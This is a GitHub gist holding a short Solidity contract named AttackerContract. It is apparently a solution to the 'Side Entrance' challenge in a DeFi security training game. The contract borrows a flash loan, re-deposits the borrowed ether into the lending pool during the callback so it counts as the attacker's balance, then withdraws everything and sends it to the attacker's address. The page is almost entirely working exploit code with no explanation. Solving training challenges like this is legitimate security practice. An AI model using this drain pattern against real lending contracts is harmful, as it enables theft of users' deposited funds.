Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Created January 26, 2023 15:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save az0mb13/cc78a4e51eb0f7338d363b41b7002a96 to your computer and use it in GitHub Desktop.
Save az0mb13/cc78a4e51eb0f7338d363b41b7002a96 to your computer and use it in GitHub Desktop.
contract AttackerContract {
SideEntranceLenderPool pool;
address payable attacker;
constructor(address _pool) {
pool = SideEntranceLenderPool(_pool);
attacker = payable(msg.sender);
}
function exploit(uint256 amount) public {
pool.flashLoan(amount);
pool.withdraw();
attacker.transfer(amount);
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
receive() external payable {}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment